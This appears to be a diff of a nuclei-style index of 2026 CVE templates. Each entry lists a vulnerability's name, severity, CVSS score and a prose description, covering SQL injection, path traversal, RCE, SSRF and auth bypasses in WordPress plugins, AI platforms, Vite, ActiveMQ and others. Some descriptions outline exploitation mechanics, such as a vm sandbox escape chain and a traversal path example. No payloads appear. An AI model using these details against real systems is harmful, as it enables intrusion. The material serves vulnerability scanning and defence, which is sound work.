{"ID":"CVE-2026-2416","Info":{"Name":"Geo Mashup \u003c= 1.13.17 - SQL Injection","Severity":"high","Description":"Geo Mashup WordPress plugin \u003c= 1.13.17 contains a SQL injection caused by insufficient escaping of the 'sort' parameter, letting unauthenticated attackers extract sensitive database information remotely.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-2416.yaml"}
{"ID":"CVE-2026-24207","Info":{"Name":"NVIDIA Triton Inference Server \u003c= 26.02 - Authentication Bypass","Severity":"critical","Description":"NVIDIA Triton Inference Server contains an authentication bypass vulnerability, letting attackers bypass authentication and potentially execute code, escalate privileges, tamper data, cause denial of service, or disclose information, exploit requires no special conditions.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-24207.yaml"}
{"ID":"CVE-2026-24423","Info":{"Name":"SmarterMail - Remote Code Execution","Severity":"critical","Description":"SmarterTools SmarterMail \u003c build 9511 contains an unauthenticated remote code execution caused by malicious OS command execution via ConnectToHub API method, letting remote attackers execute arbitrary commands, exploit requires no authentication.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-24423.yaml"}
{"ID":"CVE-2026-24477","Info":{"Name":"AnythingLLM - Information Disclosure","Severity":"high","Description":"AnythingLLM is an application that turns pieces of content into context that any LLM can use as references during chatting. If AnythingLLM prior to version 1.10.0 is configured to use Qdrant as the vector database with an API key, this QdrantApiKey could be exposed in plain text to unauthenticated users via the `/api/setup-complete` endpoint. Leakage of QdrantApiKey allows an unauthenticated attacker full read/write access to the Qdrant vector database instance used by AnythingLLM. Since Qdrant often stores the core knowledge base for RAG in AnythingLLM, this can lead to complete compromise of the semantic search / retrieval functionality and indirect leakage of confidential uploaded documents. Version 1.10.0 patches the issue.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2026/CVE-2026-24477.yaml"}
{"ID":"CVE-2026-25512","Info":{"Name":"Group-Office \u003c 26.0.5 - Remote Code Execution","Severity":"critical","Description":"Group-Office before versions 6.8.150, 25.0.82, and 26.0.5 is vulnerable to remote code execution via OS command injection. The endpoint email/message/tnefAttachmentFromTempFile directly concatenates the user-controlled parameter tmp_file into an exec() call. By injecting shell metacharacters into tmp_file, an authenticated attacker can execute arbitrary system commands on the server.\n","Classification":{"CVSSScore":"9.9"}},"file_path":"http/cves/2026/CVE-2026-25512.yaml"}
@@ -3993,27 +4011,34 @@
{"ID":"CVE-2026-29183","Info":{"Name":"SiYuan Note - Cross-Site Scripting","Severity":"medium","Description":"Unauthenticated reflected cross-site scripting (XSS) vulnerability in all versions of SiYuan Note containing `/api/icon/getDynamicIcon` with unsafe `type=8` rendering logic. Attacker-controlled `content` is inserted directly into SVG output without proper sanitization. An attacker can execute arbitrary JavaScript in users' browsers when they visit a crafted malicious link.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2026/CVE-2026-29183.yaml"}
{"ID":"CVE-2026-3018","Info":{"Name":"WordPress Newsletters \u003c= 4.13 - Unauthenticated SQL Injection","Severity":"high","Description":"Newsletters WordPress plugin \u003c= 4.13 contains a time-based SQL injection caused by insufficient escaping of the 'wpmlsubscriber_id' parameter, letting unauthenticated attackers extract sensitive database information.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-3018.yaml"}
{"ID":"CVE-2026-3055","Info":{"Name":"Citrix NetScaler SAML IDP - Memory Overread","Severity":"critical","Description":"NetScaler ADC and NetScaler Gateway contain an insufficient input validation vulnerability when configured as a SAML IDP, leading to memory overread, letting attackers potentially access sensitive memory, exploit requires configuration as SAML IDP\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2026/CVE-2026-3055.yaml"}
{"ID":"CVE-2026-30623","Info":{"Name":"LiteLLM 1.18.10 - Command Injection","Severity":"high","Description":"LiteLLM 1.18.10 contains a remote code execution caused by lack of validation of arbitrary command and args in MCP server creation, letting attackers execute OS commands remotely, exploit requires crafted JSON configuration.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2026/CVE-2026-30623.yaml"}
{"ID":"CVE-2026-30824","Info":{"Name":"Flowise - NVIDIA NIM Endpoints Missing Authentication","Severity":"high","Description":"Flowise is a drag \u0026 drop user interface to build a customized large language model flow. Prior to version 3.0.13, the NVIDIA NIM router (/api/v1/nvidia-nim/*) is whitelisted in the global authentication middleware, allowing unauthenticated access to privileged container management and token generation endpoints.\n","Classification":{"CVSSScore":"8.6"}},"file_path":"http/cves/2026/CVE-2026-30824.yaml"}
{"ID":"CVE-2026-30928","Info":{"Name":"Glances - Information Disclosure","Severity":"high","Description":"Glances \u003c 4.5.1 contains an information disclosure vulnerability caused by unfiltered exposure of sensitive configuration data via the /api/4/config REST API endpoint, letting remote attackers access credentials, exploit requires API access.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-30928.yaml"}
{"ID":"CVE-2026-30958","Info":{"Name":"OneUptime \u003c 10.0.21 - Path Traversal","Severity":"high","Description":"OneUptime \u003c 10.0.21 contains a path traversal caused by unsanitized componentName parameter in /workflow/docs/:componentName endpoint, letting unauthenticated attackers read arbitrary files from the server filesystem.\n","Classification":{"CVSSScore":"7.2"}},"file_path":"http/cves/2026/CVE-2026-30958.yaml"}
{"ID":"CVE-2026-31807","Info":{"Name":"SiYuan \u003c= v3.5.9 - SVG Animate Element XSS","Severity":"medium","Description":"SiYuan \u003c= v3.5.9 contains a reflected XSS caused by insufficient SVG sanitization allowing SVG animation elements to inject executable JavaScript in /api/icon/getDynamicIcon endpoint, letting unauthenticated attackers execute scripts.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2026/CVE-2026-31807.yaml"}
{"ID":"CVE-2026-31809","Info":{"Name":"SiYuan \u003c= v3.5.9 - Cross Site Scripting","Severity":"medium","Description":"SiYuan v3.5.10 contains a reflected XSS caused by improper sanitization of javascript: href attributes allowing ASCII control characters to bypass prefix checks in SVG sanitizer, letting unauthenticated attackers execute JavaScript via /api/icon/getDynamicIcon.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2026/CVE-2026-31809.yaml"}
{"ID":"CVE-2026-31816","Info":{"Name":"Budibase - Authentication Bypass","Severity":"critical","Description":"Budibase \u003c= 3.31.4 contains an authentication bypass caused by unanchored regex in authorized() middleware matching webhook path patterns in query strings, letting unauthenticated remote attackers access any server-side API endpoint, exploit requires crafted request with webhook pattern in URL.\n","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2026/CVE-2026-31816.yaml"}
{"ID":"CVE-2026-31831","Info":{"Name":"Tautulli \u003c= 2.16.1 - Path Traversal","Severity":"high","Description":"Tautulli is a monitoring and tracking tool for Plex Media Server. Prior to version 2.17.0, the `/newsletter/image/images` endpoint joins user-controlled path segments onto the newsletter image directory without containment validation. Authentication is not required for this endpoint, allowing unauthenticated attackers to perform directory traversal and read arbitrary files accessible to the server process. Reading `config/config.ini` discloses the API key, the hashed admin password, the JWT token secret, and the Plex Media Server token. Version 2.17.0 fixes this issue.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-31831.yaml"}
{"ID":"CVE-2026-32230","Info":{"Name":"Uptime-Kuma \u003c v1.23.0 - Improper Access Control","Severity":"medium","Description":"Uptime-Kuma before v1.23.0 is vulnerable to an information disclosure issue due to missing authorization on the /api/badge/1/ping/24 endpoint. An unauthenticated attacker can access this endpoint to leak ping statistics, such as average ping and ping history, for existing monitors without needing access to the protected status page. This can lead to unintended exposure of internal monitoring data.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2026/CVE-2026-32230.yaml"}
{"ID":"CVE-2026-32583","Info":{"Name":"Webnus Inc. Modern Events Calendar - Broken Access Control","Severity":"medium","Description":"Webnus Inc. Modern Events Calendar \u003c= 7.29.0 contains a broken access control vulnerability caused by incorrectly configured access control security levels, letting attackers bypass authorization, exploit requires no special privileges.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2026/CVE-2026-32583.yaml"}
{"ID":"CVE-2026-32596","Info":{"Name":"Glances - Information Disclosure","Severity":"high","Description":"Glances \u003c 4.5.2 contains an information disclosure vulnerability caused by the web server running without authentication by default, letting remote attackers access sensitive system information including credentials, exploit requires no special privileges.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-32596.yaml"}
{"ID":"CVE-2026-3296","Info":{"Name":"Everest Forms WordPress Plugin \u003c= 3.4.3 - PHP Object Injection","Severity":"critical","Description":"The Everest Forms plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 3.4.3 via deserialization of untrusted input from form entry metadata. This is due to the html-admin-page-entries-view.php file calling PHP's native unserialize() on stored entry meta values without passing the allowed_classes parameter. This makes it possible for unauthenticated attackers to inject a serialized PHP object payload through any public Everest Forms form field. The payload survives sanitize_text_field() sanitization (serialization control characters are not stripped) and is stored in the wp_evf_entrymeta database table. When an administrator views entries or views an individual entry, the unsafe unserialize() call processes the stored data without class restrictions.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-3296.yaml"}
{"ID":"CVE-2026-3300","Info":{"Name":"Everest Forms Pro \u003c= 1.9.12 - Unauthenticated RCE via Calculation Formula Injection","Severity":"critical","Description":"The Everest Forms Pro plugin for WordPress is vulnerable to Remote Code Execution via PHP Code Injection in all versions up to, and including, 1.9.12. This is due to the Calculation Addon's process_filter() function concatenating user-submitted form field values into a PHP code string without proper escaping before passing it to eval(). The sanitize_text_field() function applied to input does not escape single quotes or other PHP code context characters. This makes it possible for unauthenticated attackers to inject and execute arbitrary PHP code on the server by submitting a crafted value in any string-type form field (text, email, URL, select, radio) when a form uses the \"Complex Calculation\" feature.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-3300.yaml"}
{"ID":"CVE-2026-33017","Info":{"Name":"Langflow \u003c 1.9.0 - Remote Code Execution","Severity":"critical","Description":"Langflow versions prior to 1.9.0 are vulnerable to unauthenticated remote code execution (RCE) via the build_public_tmp endpoint. Attackers can submit a manipulated flow JSON containing Python code that is executed during the build process without proper sandboxing.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-33017.yaml"}
{"ID":"CVE-2026-33032","Info":{"Name":"Nginx UI - Broken Access Control","Severity":"critical","Description":"Network attackers can fully control nginx service, including config modification and service restart, leading to complete service takeover.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-33032.yaml"}
{"ID":"CVE-2026-33057","Info":{"Name":"Mesop AI Sandbox \u003c= 1.2.2 - Remote Code Execution","Severity":"critical","Description":"Mesop \u003c= 1.2.2 contains an unrestricted remote code execution caused by unauthenticated ingestion and execution of base64-encoded Python code in the /exec-py endpoint of ai/testing module, letting attackers execute arbitrary commands on the host, exploit requires HTTP access to the server.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-33057.yaml"}
{"ID":"CVE-2026-3326","Info":{"Name":"XStore Theme \u003c 9.7.3 - SQL Injection","Severity":"high","Description":"The Xstore WordPress theme before 9.7.3 does not properly sanitise and escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection\n","Classification":{"CVSSScore":"8.6"}},"file_path":"http/cves/2026/CVE-2026-3326.yaml"}
{"ID":"CVE-2026-33340","Info":{"Name":"LoLLMs WEBUI - Server-Side Request Forgery","Severity":"critical","Description":"LoLLMs WEBUI contains a server-side request forgery caused by unauthenticated access to the /api/proxy endpoint, letting attackers force the server to make arbitrary GET requests, exploit requires no authentication.\n","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2026/CVE-2026-33340.yaml"}
{"ID":"CVE-2026-3335","Info":{"Name":"Canto \u003c= 3.1.1 - Missing Authorization to Unauthenticated File Upload","Severity":"medium","Description":"The Canto plugin for WordPress is vulnerable to missing authorization in the copy-media.php upload flow.\nThe file is directly accessible and accepts attacker-controlled parameters for the upload destination, allowing unauthenticated users to upload arbitrary files constrained to WordPress-allowed MIME types.\nThe fbc_app_api parameter controls the domain WordPress fetches from via wp_safe_remote_get, enabling SSRF to attacker-controlled infrastructure.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2026/CVE-2026-3335.yaml"}
{"ID":"CVE-2026-33439","Info":{"Name":"OpenAM \u003c= 16.0.5 - Pre-Auth RCE via jato.clientSession Deserialization","Severity":"critical","Description":"Open Access Management (OpenAM) is an access management solution. Prior to 16.0.6, OpenIdentityPlatform OpenAM is vulnerable to pre-authentication Remote Code Execution (RCE) via unsafe Java deserialization of the jato.clientSession HTTP parameter. This bypasses the WhitelistObjectInputStream mitigation that was applied to the jato.pageSession parameter after CVE-2021-35464. This vulnerability is fixed in 16.0.6.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-33439.yaml"}
{"ID":"CVE-2026-33476","Info":{"Name":"SiYuan \u003c= v3.6.1 - Path Traversal","Severity":"high","Description":"SiYuan is a personal knowledge management system. Prior to version 3.6.2, the Siyuan kernel exposes an unauthenticated file-serving endpoint under `/appearance/*filepath.` Due to improper path sanitization, attackers can perform directory traversal and read arbitrary files accessible to the server process. Authentication checks explicitly exclude this endpoint, allowing exploitation without valid credentials. Version 3.6.2 fixes this issue.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-33476.yaml"}
{"ID":"CVE-2026-33478","Info":{"Name":"AVideo \u003c= 26.0 - WWBN AVideo - Remote Code Execution","Severity":"critical","Description":"WWBN AVideo \u003c= 26.0 contains multiple vulnerabilities in the CloneSite plugin including unauthenticated exposure of clone secret keys and OS command injection in rsync command construction, letting unauthenticated attackers achieve remote code execution.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2026/CVE-2026-33478.yaml"}
{"ID":"CVE-2026-33497","Info":{"Name":"Langflow \u003c 1.7.0 - Path Traversal","Severity":"high","Description":"Langflow \u003c 1.7.1 contains a path traversal caused by insufficient filtering of folder_name and file_name parameters in download_profile_picture endpoint, letting attackers read secret_key across directories, exploit requires crafted request.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-33497.yaml"}
{"ID":"CVE-2026-33534","Info":{"Name":"EspoCRM \u003c= 9.3.3 - Server-Side Request Forgery","Severity":"medium","Description":"EspoCRM \u003c= 9.3.3 contains an authenticated server-side request forgery caused by improper internal-host validation using alternative IPv4 formats in HostCheck::isNotInternalHost(), letting authenticated users access internal resources via /api/v1/Attachment/fromImageUrl endpoint.\n","Classification":{"CVSSScore":"4.3"}},"file_path":"http/cves/2026/CVE-2026-33534.yaml"}
{"ID":"CVE-2026-33626","Info":{"Name":"LMDeploy - Server-Side Request Forgery","Severity":"high","Description":"LMDeploy is a toolkit for compressing, deploying, and serving large language models. Versions prior to 0.12.3 have a Server-Side Request Forgery (SSRF) vulnerability in the vision-language module. The load_image() function in lmdeploy/vl/utils.py fetches arbitrary URLs without validating internal or private IP addresses, allowing unauthenticated attackers to access cloud metadata services, internal networks, and sensitive resources via the image_url parameter in /v1/chat/completions requests.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-33626.yaml"}
{"ID":"CVE-2026-33868","Info":{"Name":"Mastodon - Open Redirect","Severity":"medium","Description":"Mastodon version \u003c 4.5.8, \u003c 4.4.15, \u003c 4.3.21 is vulnerable to unauthenticated Open Redirect vulnerability (CWE-601) exists in the /web/* route due to improper handling of URL-encoded path segments.\n","Classification":{"CVSSScore":"4.3"}},"file_path":"http/cves/2026/CVE-2026-33868.yaml"}
{"ID":"CVE-2026-3396","Info":{"Name":"WCAPF WooCommerce Ajax Product Filter - SQL Injection","Severity":"high","Description":"WCAPF WooCommerce Ajax Product Filter \u003c= 4.2.3 contains a time-based SQL injection caused by insufficient escaping of the 'post-author' parameter, letting unauthenticated attackers extract sensitive database information remotely.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-3396.yaml"}
{"ID":"CVE-2026-34036","Info":{"Name":"Dolibarr \u003c=22.0.4 - Local File Inclusion","Severity":"medium","Description":"Dolibarr \u003c= 22.0.4 contains a local file inclusion caused by manipulation of the objectdesc parameter and a fail-open logic flaw in restrictedArea() in /core/ajax/selectobject.php, letting authenticated users with no specific privileges read arbitrary non-PHP files.\n","Classification":{"CVSSScore":"6.5"}},"file_path":"http/cves/2026/CVE-2026-34036.yaml"}
{"ID":"CVE-2026-34156","Info":{"Name":"NocoBase - VM Sandbox Escape to Remote Code Execution","Severity":"critical","Description":"NocoBase Workflow Script Node executes user-supplied JavaScript inside a Node.js vm sandbox with a custom require allowlist controlled by WORKFLOW_SCRIPT_MODULES env var. The console object passed into the sandbox context exposes host-realm WritableWorkerStdio stream objects via console._stdout and console._stderr. An authenticated attacker can traverse the prototype chain (console._stdout.constructor.constructor to Function to process to child_process) to escape the sandbox and achieve Remote Code Execution as root.\n","Classification":{"CVSSScore":"10.0"}},"file_path":"http/cves/2026/CVE-2026-34156.yaml"}
{"ID":"CVE-2026-34197","Info":{"Name":"Apache ActiveMQ - Remote Code Execution","Severity":"critical","Description":"Improper Input Validation, Improper Control of Generation of Code ('Code Injection') vulnerability in Apache ActiveMQ Broker, Apache ActiveMQ. Apache ActiveMQ Classic exposes the Jolokia JMX-HTTP bridge at /api/jolokia/ on the web console. The default Jolokia access policy permits exec operations on all ActiveMQ MBeans (org.apache.activemq:*), including BrokerService.addNetworkConnector(String) and BrokerService.addConnector(String). An authenticated attacker can invoke these operations with a crafted discovery URI that triggers the VM transport's brokerConfig parameter to load a remote Spring XML application context using ResourceXmlApplicationContext. Because Spring's ResourceXmlApplicationContext instantiates all singleton beans before the BrokerService validates the configuration, arbitrary code execution occurs on the broker's JVM through bean factory methods such as Runtime.exec(). This issue affects Apache ActiveMQ Broker: before 5.19.4, from 6.0.0 before 6.2.3; Apache ActiveMQ: . Users are recommended to upgrade to version 5.19.5 or 6.2.3, which fixes the issue.\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2026/CVE-2026-34197.yaml"}
{"ID":"CVE-2026-34413","Info":{"Name":"Xerte Online Toolkits \u003c= 3.15 - Remote Code Execution","Severity":"critical","Description":"Xerte Online Toolkits versions 3.15 and earlier expose the elFinder file manager connector at /editor/elfinder/php/connector.php without authentication (CVE-2026-34413), because the access-control redirect for unauthenticated users does not call exit()/die() and execution continues server-side. This is chained with a relative path traversal in the elFinder rename command (CVE-2026-34414) and an incomplete file-extension blocklist that still permits .php4 (CVE-2026-34415) to write an attacker-controlled PHP file into the application root, resulting in unauthenticated remote code execution.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-34413.yaml"}
@@ -4030,10 +4055,12 @@
{"ID":"CVE-2026-38360","Info":{"Name":"dash-uploader 0.1.0 - 0.7.0a2 - Unauthenticated Arbitrary File Write via Path Traversal","Severity":"critical","Description":"fohrloop dash-uploader v0.1.0 through v0.7.0a2 contains a directory traversal vulnerability caused by improper handling in dash_uploader/httprequesthandler.py components, letting remote attackers execute arbitrary code, exploit requires no special privileges.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-38360.yaml"}
{"ID":"CVE-2026-38361","Info":{"Name":"dash-uploader 0.1.0 - 0.7.0a2 - Denial-of-Service via flowTotalChunks","Severity":"high","Description":"fohrloop dash-uploader v0.1.0 through v0.7.0a2 contains a remote code execution caused by improper handling in Upload function and max_file_size parameter in dash_uploader components, letting remote attackers execute arbitrary code, exploit requires crafted request.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-38361.yaml"}
{"ID":"CVE-2026-3844","Info":{"Name":"Breeze \u003c= 2.4.4 - Arbitrary File Upload","Severity":"critical","Description":"Breeze Cache WordPress plugin \u003c= 2.4.4 contains an unrestricted file upload vulnerability caused by missing file type validation in 'fetch_gravatar_from_remote' function, letting unauthenticated attackers upload arbitrary files, exploit requires 'Host Files Locally - Gravatars' enabled.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-3844.yaml"}
{"ID":"CVE-2026-3891","Info":{"Name":"Pix for WooCommerce \u003c= 1.5.0 - Unauthenticated Arbitrary File Upload","Severity":"critical","Description":"The Pix for WooCommerce plugin for WordPress is vulnerable to arbitrary file uploads due to missing capability check and missing file type validation in the 'lkn_pix_for_woocommerce_c6_save_settings' function in all versions up to, and including, 1.5.0. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-3891.yaml"}
{"ID":"CVE-2026-39339","Info":{"Name":"ChurchCRM - API Authentication Bypass via URL Injection","Severity":"critical","Description":"ChurchCRM \u003c 7.1.0 contains an authentication bypass caused by improper API middleware URL handling in ChurchCRM/Slim/Middleware/AuthMiddleware.php, letting unauthenticated attackers access protected API endpoints, exploit requires crafted request URL with 'api/public\n","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2026/CVE-2026-39339.yaml"}
{"ID":"CVE-2026-39352","Info":{"Name":"Frappe Framework \u003c 16.15.0 - Arbitrary File Read via render_include Path Traversal","Severity":"medium","Description":"Frappe is a full-stack web application framework. Versions prior to 15.105.0 and 16.15.0 contain a possible Arbitrary File Read vulnerability via Path Traversal. The issue is resolved in versions 16.15.0, 15.105.0 and above.\n","Classification":{"CVSSScore":"6.5"}},"file_path":"http/cves/2026/CVE-2026-39352.yaml"}
{"ID":"CVE-2026-39364","Info":{"Name":"Vite Dev Server - Directory Traversal","Severity":"high","Description":"Vite is a modern frontend build tool. In Vite prior to versions 6.4.3, 6.3.4, and 5.4.23, a directory traversal vulnerability affects the Vite development server. When the Vite dev server is launched with the --host or server.host option, an unauthenticated attacker can craft a request with a path containing dot segments (e.g., /.vite/../\u003cfilename\u003e) to bypass static file restrictions and access arbitrary files on the filesystem under the project root. The vulnerability allows access to files normally denied by Vite’s \"server.fs.deny\" setting, including sensitive files like .env, configuration files, or credentials in the project root. This issue has been fixed in versions 6.4.3, 6.3.4, and 5.4.23.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-39364.yaml"}
{"ID":"CVE-2026-39365","Info":{"Name":"Vite Dev Server - Path Traversal in Optimized Deps .map Handling","Severity":"medium","Description":"Vite development server versions prior to 8.0.5, 7.3.2, and 6.4.2 are vulnerable to path traversal through the optimized dependencies sourcemap handler. The dev server's handling of .map requests for optimized dependencies resolves file paths via normalizePath(path.resolve(root, url.slice(1))) and calls readFile without restricting ../ segments in the URL. This allows an attacker to bypass server.fs.strict and retrieve auto-generated sourcemaps for files located outside the project root, leaking absolute filesystem paths. Only dev servers explicitly exposed to the network using --host or server.host are affected.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2026/CVE-2026-39365.yaml"}
{"ID":"CVE-2026-39468","Info":{"Name":"Meta Box \u003c= 5.11.1 - Arbitrary File Deletion","Severity":"high","Description":"The Meta Box plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the ajax_delete_file function. This makes it possible for authenticated attackers with Contributor-level access and above to delete arbitrary files on the server.\n","Classification":{"CVSSScore":"7.2"}},"file_path":"http/cves/2026/CVE-2026-39468.yaml"}
{"ID":"CVE-2026-39808","Info":{"Name":"Fortinet FortiSandbox - Command Injection","Severity":"critical","Description":"Fortinet FortiSandbox 4.4.0 through 4.4.8 contains a command injection caused by improper neutralization of special elements in OS commands, letting attackers execute unauthorized code or commands, exploit requires crafted input.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-39808.yaml"}
{"ID":"CVE-2026-40105","Info":{"Name":"XWiki - Cross-Site Scripting","Severity":"medium","Description":"XWiki is vulnerable to reflected Cross-Site Scripting (XSS) via the `viewer=changes` endpoint. The `rev2` parameter is not properly sanitised before being rendered in the response, allowing an attacker to inject arbitrary JavaScript. Affects XWiki versions prior to the patched release.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2026/CVE-2026-40105.yaml"}
{"ID":"CVE-2026-40151","Info":{"Name":"PraisonAI AgentOS - Information Disclosure","Severity":"medium","Description":"PraisonAI's AgentOS FastAPI application server exposes an unauthenticated `GET /api/agents` endpoint that lists every registered agent's name, role and the opening of its instructions (system prompt). No authentication is enforced on the route, allowing a remote attacker to enumerate agent configurations and harvest sensitive details embedded in system prompts, such as internal API references, business logic and credential hints. This endpoint belongs to the AgentOS FastAPI server and is distinct from the legacy Flask `/agents` server tracked as CVE-2026-44338.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2026/CVE-2026-40151.yaml"}
@@ -4058,13 +4085,18 @@
{"ID":"CVE-2026-4257","Info":{"Name":"WordPress Contact Form by Supsystic - Server-Side Template Injection","Severity":"critical","Description":"Contact Form by Supsystic WordPress plugin \u003c= 1.7.36 contains a server-side template injection caused by unsandboxed Twig_Loader_String and cfsPreFill functionality, letting unauthenticated attackers execute arbitrary code remotely via GET parameters.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-4257.yaml"}
{"ID":"CVE-2026-42589","Info":{"Name":"Gotenberg - Command Injection","Severity":"critical","Description":"Gotenberg \u003c 8.31.0 contains a command injection caused by lack of validation on JSON metadata keys in /forms/pdfengines/metadata/write endpoint, letting unauthenticated attackers execute OS commands, exploit requires crafted HTTP request.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-42589.yaml"}
{"ID":"CVE-2026-42647","Info":{"Name":"JoomSport \u003c= 5.7.7 - SQL Injection","Severity":"critical","Description":"The JoomSport WordPress plugin through 5.7.7 is vulnerable to unauthenticated time-based blind SQL injection via the 'sortf' GET parameter in the player list view. The parameter value is backtick-wrapped and directly concatenated into an ORDER BY clause.\n","Classification":{"CVSSScore":"9.3"}},"file_path":"http/cves/2026/CVE-2026-42647.yaml"}
{"ID":"CVE-2026-42796","Info":{"Name":"Arelle \u003c 2.39.10 - Remote Code Execution","Severity":"critical","Description":"Arelle before 2.39.10 contains an unauthenticated remote code execution vulnerability in the webserver's /rest/configure endpoint. The plugins query parameter is forwarded to the plugin manager without authentication, allowing an attacker to supply a URL to a remote Python file that Arelle downloads and executes within its process.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-42796.yaml"}
{"ID":"CVE-2026-44262","Info":{"Name":"Scramble Laravel - Remote Code Execution","Severity":"critical","Description":"Scramble for Laravel \u003e= 0.13.2 and \u003c 0.13.22 contains a remote code execution caused by evaluation of user-controlled input in validation rules during documentation generation, letting remote attackers execute arbitrary PHP code, exploit requires publicly accessible documentation endpoints.\n","Classification":{"CVSSScore":"9.4"}},"file_path":"http/cves/2026/CVE-2026-44262.yaml"}
{"ID":"CVE-2026-44381","Info":{"Name":"MISP \u003c 2.5.37 - SQL Injection","Severity":"medium","Description":"MISP before 2.5.37 is vulnerable to SQL injection via the order parameter in EventsController. The POST body order value is passed directly into ORDER BY clauses without validation.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2026/CVE-2026-44381.yaml"}
{"ID":"CVE-2026-44551","Info":{"Name":"Open WebUI 'LDAP Empty Password' - Authentication Bypass","Severity":"critical","Description":"Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.0, the LDAP authentication endpoint does not validate that the submitted password is non-empty before performing a Simple Bind against the LDAP server. The LdapForm Pydantic model accepts password: str with no minimum length constraint, so an empty string passes validation. The subsequent Connection.bind() call succeeds on vulnerable LDAP servers, and the application issues a full session token for the target user. This vulnerability is fixed in 0.9.0.\n","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2026/CVE-2026-44551.yaml"}
{"ID":"CVE-2026-44825","Info":{"Name":"Apache Solr 9.4.0-9.10.1 / 10.0.0 - Hardcoded Default Credentials","Severity":"high","Description":"Apache Solr 9.4.0 through 9.10.1 and 10.0.0 contain a hardcoded credentials vulnerability caused by default Basic Authentication template users in bin/solr auth enable, letting remote attackers gain full administrative access. Exploit requires use of default template users.\n","Classification":{"CVSSScore":"8.1"}},"file_path":"http/cves/2026/CVE-2026-44825.yaml"}
{"ID":"CVE-2026-45298","Info":{"Name":"Dozzle - Server Side Request Forgery","Severity":"high","Description":"Dozzle prior to 10.5.2 contains a server-side request forgery caused by unauthenticated access to POST /api/notifications/test-webhook forwarding attacker-controlled URLs, letting remote attackers send arbitrary HTTP POST requests and receive response data, exploit requires no authentication.\n","Classification":{"CVSSScore":"8.6"}},"file_path":"http/cves/2026/CVE-2026-45298.yaml"}
{"ID":"CVE-2026-45397","Info":{"Name":"Open WebUI \u003c 0.9.5 - Information Disclosure","Severity":"medium","Description":"Open WebUI \u003c 0.9.5 contains an information disclosure vulnerability caused by unauthenticated access to GET /api/v1/retrieval/ endpoint, letting remote attackers retrieve live RAG pipeline configuration without authorization, exploit requires no authentication.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2026/CVE-2026-45397.yaml"}
{"ID":"CVE-2026-4631","Info":{"Name":"Cockpit Web Console \u003c 360 - Remote Code Execution","Severity":"critical","Description":"Cockpit's remote login feature passes user-supplied hostnames and usernames from the web interface to the SSH client without validation or sanitization. An attacker with network access to the Cockpit web service can craft a single HTTP request to the login endpoint that injects malicious SSH options or shell commands, achieving code execution on the Cockpit host without valid credentials. The injection occurs during the authentication flow before any credential verification takes place, meaning no login is required to exploit the vulnerability.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-4631.yaml"}
